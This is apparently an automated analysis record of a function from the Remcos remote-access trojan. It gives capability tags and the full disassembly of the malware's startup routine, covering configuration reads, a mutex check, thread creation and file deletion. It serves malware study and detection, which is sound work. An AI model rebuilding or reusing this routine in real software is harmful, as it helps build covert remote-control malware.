Function at 0x40dd7c
Capabilities:
Check mutex on windows
Create thread
Delete file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword [ebp + 8]
sub esp, 0x30c
mov dword [0x470d40], eax
push ebx
push esi
push edi
call fcn.0041b03c
push 0x104
push 0x470b38
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [esp + 0x48]
call fcn.0040e783
sub esp, 0x18
mov ecx, esp
push 0x4732b4
call fcn.004020d6
sub esp, 0x18
lea eax, [esp + 0x78]
mov ecx, esp
push eax
call fcn.004020d6
lea ecx, [esp + 0x60]
call fcn.0041a4e9
add esp, 0x30
push eax
call fcn.0040eefd
lea ecx, [esp + 0x30]
call fcn.00401e6d
push 0x465338
push dword [ebp + 0x10]
call fcn.0043e160
pop ecx
pop ecx
test eax, eax
jne 0x40de4a
push ecx
push ecx
push 2
push str.license_code.txt
lea ecx, [esp + 0x70]
call fcn.0040ef99
push 0x34
mov ecx, 0x473290
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
mov edx, eax
lea ecx, [esp + 0x60]
call fcn.0041031d
lea ecx, [esp + 0x60]
call fcn.0040ef4a
lea ecx, [esp + 0x60]
call fcn.0040e770
xor esi, esi
inc esi
jmp 0x40e2cb
push 3
pop ebx
mov esi, 0x473290
push ebx
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push 0x46408c
push 0xe
mov ecx, esi
cmp byte [eax], 0
setne byte [0x470b32]
call fcn.00401e45
push eax
mov edx, str.Software_
lea ecx, [esp + 0x20]
call fcn.004052fe
pop ecx
mov edx, eax
lea ecx, [esp + 0x34]
call fcn.00408832
pop ecx
push eax
mov ecx, 0x473230
call fcn.00401fc2
lea ecx, [esp + 0x30]
call fcn.00401fb8
lea ecx, [esp + 0x18]
call fcn.00401fb8
push 0xe
mov ecx, esi
call fcn.00401e45
push eax
mov ecx, 0x473260
call fcn.00401fa0
push 0x46535c
mov ecx, 0x4732cc
call fcn.00405a86
push edi
push 0x32
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.004051c3
push edi
push 0x33
mov ecx, esi
cmp byte [eax], 0
setne byte [0x470d4b]
call fcn.00401e45
mov ecx, eax
call fcn.004051c3
cmp byte [eax], 0
setne byte [0x470d60]
cmp byte [0x470d4b], 0
je 0x40df65
push 0x465360
mov edx, 0x473260
lea ecx, [esp + 0x1c]
call fcn.00406292
pop ecx
push eax
mov ecx, 0x473368
call fcn.00401fc2
lea ecx, [esp + 0x18]
call fcn.00401fb8
lea eax, [esp + 0x10]
mov dword [esp + 0x10], edi
push eax
push 0x465364
mov ecx, 0x473230
call fcn.00401f8b
mov edx, eax
call fcn.004126e3
pop ecx
pop ecx
test al, al
jne 0x40e714
push 0xd
mov ecx, esi
mov dword [esp + 0x18], edi
call fcn.00401e45
mov edx, 0x4640ec
mov ecx, eax
call fcn.0041053b
test al, al
je 0x40dff4
push 7
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push eax
push edi
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
mov esi, eax
test esi, esi
je 0x40dfb8
push 0xea60
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x14]
mov esi, 0x473230
push eax
push 0x465368
mov ecx, esi
call fcn.00401f8b
mov edx, eax
call fcn.004126e3
pop ecx
pop ecx
test al, al
je 0x40dfef
push 0x465368
mov ecx, esi
call fcn.00401f8b
mov edx, eax
call fcn.00412b43
pop ecx
mov esi, 0x473290
call fcn.0040c4b9
mov eax, dword [0x472adc]
test eax, eax
je 0x40e004
call eax
call fcn.00419a05
mov eax, dword [0x472ae8]
test eax, eax
je 0x40e019
call eax
mov dword [0x46f9d0], eax
cmp dword [esp + 0x14], edi
jne 0x40e05c
call fcn.00406d8a
test eax, eax
je 0x40e032
call fcn.00406dac
call fcn.004068d4
push 0x2e
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
cmp byte [eax], 0
je 0x40e05c
cmp dword [0x472ae8], edi
je 0x40e05c
cmp dword [0x46f9d0], edi
jne 0x40e05c
call fcn.004068d4
push 0x27
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
cmp byte [eax], 0
je 0x40e076
call fcn.00406dc9
push 0xb
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push eax
mov ecx, 0x473200
call fcn.004086cb
push 4
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push 5
mov ecx, esi
cmp byte [eax], 0
setne byte [0x470b33]
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push 8
mov ecx, esi
cmp byte [eax], 0
setne byte [0x470b30]
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push ebx
mov ecx, esi
cmp byte [eax], 0
setne byte [0x470b31]
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
cmp byte [eax], 0
je 0x40e159
push 0x30
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push eax
call fcn.00439f4b
pop ecx
test eax, eax
je 0x40e159
push 9
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push 0x30
mov ecx, 0x473290
mov esi, eax
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
mov dl, byte [esi]
lea ecx, [esp + 0x18]
push eax
call fcn.0040ce7a
pop ecx
push eax
mov ecx, 0x473248
call fcn.00401ef3
lea ecx, [esp + 0x18]
call fcn.00401ee9
mov esi, 0x473290
cmp dword [esp + 0x14], edi
jne 0x40e2df
cmp byte [0x470b32], 0
je 0x40e1e8
push 0x1e
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push 0xc
mov ecx, esi
mov bh, byte [eax]
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push 9
mov ecx, esi
mov bl, byte [eax]
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
test bh, bh
mov esi, eax
setne cl
test bl, bl
movzx ecx, cl
mov ebx, 0x473290
push ecx
setne cl
movzx ecx, cl
push ecx
push 0xa
mov ecx, ebx
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push eax
push 0x30
mov ecx, ebx
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
mov cl, byte [esi]
mov edx, eax
call fcn.0040c249
add esp, 0xc
jmp 0x40e1f7
push 0x470b38
mov ecx, 0x473218
call fcn.004086cb
mov ecx, 0x473218
call fcn.0040245c
push 2
xor ebx, ebx
inc eax
pop ecx
mul ecx
seto bl
neg ebx
or ebx, eax
push ebx
call fcn.00432bf1
mov esi, eax
pop ecx
test esi, esi
je 0x40e22a
push ebx
push edi
push esi
call fcn.00435320
add esp, 0xc
jmp 0x40e22c
mov esi, edi
mov ecx, 0x473218
call fcn.00401ee4
push eax
push esi
call fcn.0043dc64
pop ecx
mov ebx, 0x473278
mov ecx, ebx
call fcn.0040245c
push eax
mov ecx, ebx
call fcn.00401f8b
push eax
mov ecx, 0x473218
call fcn.0040245c
mov ecx, 0x473230
lea eax, [eax*2 + 2]
push eax
push esi
push str.exepath
call fcn.00401f8b
mov edx, eax
call fcn.00412ae1
push esi
call fcn.00432bfa
add esp, 0x1c
mov esi, 0x473290
mov ecx, esi
push 0xd
call fcn.00401e45
mov edx, 0x4640ec
mov ecx, eax
call fcn.0041053b
test al, al
je 0x40e344
push 0xd
mov ecx, esi
call fcn.00401e45
sub esp, 0x18
mov edx, eax
mov ecx, esp
call fcn.0041a32c
call fcn.0040e834
add esp, 0x18
cmp al, 1
jne 0x40e344
push 3
pop esi
lea ecx, [esp + 0x48]
call fcn.00401fb8
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov esi, 0x208
lea eax, [esp + 0x110]
push esi
push edi
push eax
call fcn.00435320
add esp, 0xc
mov ebx, 0x473278
mov ecx, ebx
call fcn.0040245c
push eax
mov ecx, ebx
call fcn.00401f8b
push eax
push esi
lea eax, [esp + 0x11c]
mov ecx, 0x473230
push eax
push str.exepath
call fcn.00401f8b
mov edx, eax
call fcn.00412892
add esp, 0x14
lea eax, [esp + 0x110]
mov ecx, 0x473218
push eax
call fcn.004086cb
mov esi, 0x473290
push 1
push 0x34
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00402073
push str.licence
mov ecx, 0x473230
call fcn.00401f8b
mov edx, eax
call fcn.00412909
add esp, 0x20
mov ecx, esi
push 0x28
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push eax
call fcn.00439f21
mov byte [0x470d48], al
pop ecx
cmp al, 2
jne 0x40e3b5
mov cl, 1
call fcn.0041b1f4
push edi
push edi
push edi
push 0x41b8b6
push edi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
call edi
jmp 0x40e3c3
cmp al, 1
jne 0x40e3bd
xor cl, cl
jmp 0x40e39c
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
mov ecx, esp
push str.Remcos_Agent_initialized
call fcn.00402073
sub esp, 0x18
mov ecx, esp
push 0x463f74
call fcn.00402073
call fcn.00419c31
add esp, 0x30
mov ecx, esi
push 0x37
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push 0x10
mov ecx, esi
mov bl, byte [eax]
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push 0xf
mov ecx, esi
mov al, byte [eax]
mov dword [esp + 0x14], eax
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
test bl, bl
mov esi, eax
mov ebx, 0x473290
setne cl
movzx ecx, cl
push ecx
push 0x36
mov ecx, ebx
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push eax
call fcn.00439f21
pop ecx
push eax
push 0x11
mov ecx, ebx
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push eax
push 0x31
mov ecx, ebx
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push eax
push dword [esp + 0x20]
movzx eax, byte [esi]
push eax
call fcn.0040949a
push 0x14
mov ecx, ebx
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
cmp byte [eax], 1
jne 0x40e4c6
push 2
pop eax
push eax
call fcn.00432926
mov esi, eax
xor ebx, ebx
pop ecx
push 0x35
mov ecx, 0x473290
mov byte [esi], bl
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push ebx
push ebx
push esi
cmp byte [eax], bl
push 0x4186f6
push ebx
setne cl
push ebx
mov byte [esi + 1], cl
call edi
jmp 0x40e4c8
xor ebx, ebx
mov esi, 0x473290
push 0x16
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
cmp byte [eax], 1
jne 0x40e51e
push 2
pop eax
push eax
call fcn.00432926
mov esi, eax
pop ecx
push 0x35
mov ecx, 0x473290
mov byte [esi], 1
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push ebx
push ebx
push esi
cmp byte [eax], 0
push 0x4186f6
push ebx
setne cl
push ebx
mov byte [esi + 1], cl
call edi
mov esi, 0x473290
push 0x23
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
cmp byte [eax], 1
jne 0x40e591
push 0x25
mov ecx, esi
mov byte [0x470a85], 1
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push 0x26
mov ecx, 0x473290
mov esi, eax
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
mov dl, byte [esi]
lea ecx, [esp + 0x18]
push eax
call fcn.0040ce2e
pop ecx
push eax
mov ecx, 0x472d38
call fcn.00401ef3
lea ecx, [esp + 0x18]
call fcn.00401ee9
push ebx
push ebx
push ebx
push 0x401bc9
push ebx
push ebx
call edi
mov esi, 0x473290
push 0x2b
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
cmp byte [eax], 1
jne 0x40e5df
push 0x2c
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push 0x2d
mov ecx, 0x473290
mov esi, eax
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push eax
call fcn.00439f21
cmp byte [esi], 0
mov edx, eax
pop ecx
setne cl
call fcn.0040b61e
lea ecx, [esp + 0x18]
call fcn.00419d4f
push eax
mov ecx, 0x47329c
call fcn.00401ef3
lea ecx, [esp + 0x18]
call fcn.00401ee9
mov eax, dword [0x472ae0]
test eax, eax
je 0x40e608
push ebx
call eax
push ebx
push ebx
push ebx
push 0x40eb8d
push ebx
push ebx
call edi
cmp byte [0x470d4b], 0
je 0x40e629
push ebx
push ebx
push ebx
push fcn.004114ec
push ebx
push ebx
call edi
cmp byte [0x470d60], 0
je 0x40e63e
push ebx
push ebx
push ebx
push 0x411ad0
push ebx
push ebx
call edi
mov eax, dword [0x46f9d0]
sub eax, ebx
je 0x40e653
sub eax, 1
jne 0x40e691
push str.Administrator
jmp 0x40e658
push str.User
lea ecx, [esp + 0x1c]
call fcn.00402073
sub esp, 0x18
mov edx, str.Access_Level:
mov ecx, esp
push eax
call fcn.004052dd
sub esp, 0x14
mov ecx, esp
push 0x463f74
call fcn.00402073
call fcn.00419c31
add esp, 0x30
lea ecx, [esp + 0x18]
call fcn.00401fb8
mov edi, 0x473230
push 0x4653b8
mov ecx, edi
call fcn.00401f8b
mov edx, eax
call fcn.00412699
pop ecx
test al, al
je 0x40e76a
push 0x464f34
mov edx, edi
lea ecx, [esp + 0x1c]
call fcn.0041a32c
mov ecx, eax
call fcn.00401ee4
push eax
mov edx, closesocket
lea ecx, [esp + 0x38]
call fcn.004127b5
pop ecx
pop ecx
lea ecx, [esp + 0x18]
call fcn.00401ee9
lea ecx, [esp + 0x30]
call fcn.00401ee4
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x40e70b
cmp ebx, 0xa
jge 0x40e734
push 0xa
inc ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 0x30]
call fcn.00401ee4
push eax
call esi
test eax, eax
je 0x40e6f4
jmp 0x40e734
push 0x465364
mov ecx, 0x473230
call fcn.00401f8b
mov edx, eax
call fcn.00412b43
pop ecx
mov ecx, dword [esp + 0x10]
call fcn.0041186a
push 0x464f34
mov edx, edi
lea ecx, [esp + 0x1c]
call fcn.0041a32c
mov ecx, eax
call fcn.00401ee4
mov edx, eax
mov ecx, closesocket
call fcn.00412bbd
pop ecx
lea ecx, [esp + 0x18]
call fcn.00401ee9
lea ecx, [esp + 0x30]
call fcn.00401ee9
call fcn.00414123
int3